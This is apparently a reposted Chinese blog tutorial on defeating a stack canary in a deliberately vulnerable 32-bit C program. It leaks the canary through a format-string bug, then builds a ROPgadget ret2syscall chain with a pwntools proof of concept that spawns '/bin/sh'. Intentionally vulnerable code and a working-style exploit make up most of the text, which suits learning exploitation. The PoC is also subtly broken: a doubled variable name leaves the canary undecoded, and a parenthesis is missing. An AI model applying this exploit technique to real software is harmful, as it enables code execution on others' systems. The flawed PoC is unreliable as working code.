构造带有堆栈保护的指令流

安全 应用安全
我们在学ropgadgets与ret2syscall技术原理时,构造指令流时,是没有加堆栈保护的,那我们该怎么办呢?我们可以利用格式化输出,将canary打印出来,然后再进行指令的组装。

1. 引言

我们在学ropgadgets与ret2syscall技术原理时,构造指令流时,是没有加堆栈保护的,比如下面的程序:

文件名:7.c

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <sys/types.h> 
  4. #include <unistd.h> 
  5. #include <sys/syscall.h> 
  6. void exploit() 
  7.     system("/bin/sh"); 
  8. void func() 
  9.     char str[0x20]; 
  10.     read(0,str,0x50); 
  11.     printf(str); 
  12.     read(0,str,0x50); 
  13. int main() 
  14.     func(); 
  15.     return 0; 

我们是这样编译的,是没有加堆栈保护的,之后再利用ropgadgets构造指令流,就可以成功去执行execve(“/bin/sh”,null,null);。

  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c 

如果加上堆栈保护我们该怎么过呢?像下面这样编译:

  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c 

显然我们就不能像原来一样构造指令流了,因为加入了堆栈保护。那我们该怎么办呢?我们可以利用格式化输出,将canary打印出来,然后再进行指令的组装。

2. 找地址

调试我们的程序,找到canary的地址,地址在:0xffffcfac

继续调试,直到printf,我们看看现在canary据栈顶的位置:0060,除以4等于15,说明传给第一个read函数的值为:%15$08x,就可以将canary打印出来了

重新调试,找到read函数把读进来的数据存放的地址:0xffffcf8c

将%15$08x给read函数,发现可以将canary打印出来

接下来就是利用好第二个read函数来构造rop链了。

3.  构造rop链

linux上系统调用原理:

  • eax 系统调用号
  • ebx 第一个参数
  • ecx 第二个参数
  • edx 第三个参数
  • esi 第四个参数
  • edi 第五个参数
  • int 0×80

所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个参数,也是0

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax" 

地址用:0x080b8546

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx" 

地址为:0x0806f210

  1. ROPgadget --binary ./7.exe --string "/bin/sh" 

地址用:0x080bbd80

  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80" 

地址为:0x0806ce37

4. 写出poc

  1. from pwn import * 
  2. context(arch="i386",os="linux"
  3. p=process('./7.exe') 
  4. p.sendline("%15$08x") 
  5. canary=p.recv()[:8] 
  6. print(canary) 
  7. canarycanary=canary.decode("hex")[::-1]    
  8. coffset=4*8                          
  9. roffset=3*4                  
  10. add_eax=p32(0x080b8546) 
  11. value_eax=p32(0xb) 
  12. add_edx_ecx_ebx=p32(0x0806f210) 
  13. value_ebx=p32(0x080bbd80) 
  14. value_ecx=p32(0) 
  15. value_edx=p32(0) 
  16. add_int=p32(0x0806ce37) 
  17. payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int 
  18. p.sendline(payload) 
  19. p.interactive() 

从from pwn import *到canary=canary.decode(“hex”)[::-1]都是为了找出canary,因为加了堆栈保护,我们不能直接把数据打入到堆栈中,所以要先找出canary,然后构造payload,我们要把canary加进去,过堆栈保护,再在后面加上我们的rop链。

执行成功

5. 总结

开启了堆栈保护,加入了cookie,一旦我们破坏了堆栈,会引起系统保护,出现异常。但是我们还是需要构造我们的指令流,我们可以利用格式化输出,将canary打印出来,接下来我们可以利用读写函数,构造一个指令流,我们先去读,看一下堆栈的canary在哪里,然后我们canary搞出来,把canary再回填进去,进行组装,这样就即可以过堆栈保护,也可以构造我们的指令流了。

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2010-09-17 09:08:49

Java多线程

2011-06-13 10:41:17

JAVA

2021-10-26 17:26:46

JVM架构模型

2022-05-07 08:27:42

缓冲区溢出堆栈

2015-09-28 14:12:36

2015-10-10 10:58:45

Flynn指令流数据流

2017-07-12 11:15:25

2009-07-21 12:35:00

Scala从构造器

2012-06-21 13:08:37

jQuery

2012-02-24 15:25:45

ibmdw

2022-04-26 16:48:44

ConfluentRBAC数据流

2011-05-30 10:26:57

2021-02-22 09:23:55

LRU时间HashMap

2020-04-21 16:13:29

LinuxCut命令Unix系统

2017-02-23 09:00:42

2022-03-31 10:32:08

Mabox LinuLinux

2021-07-28 09:00:00

编程语言Kotlin开发

2016-09-02 09:14:26

2022-04-28 08:05:05

数据库数据库交互

2010-08-18 09:07:26

数据泄密防护DLP公司数据
点赞
收藏

51CTO技术栈公众号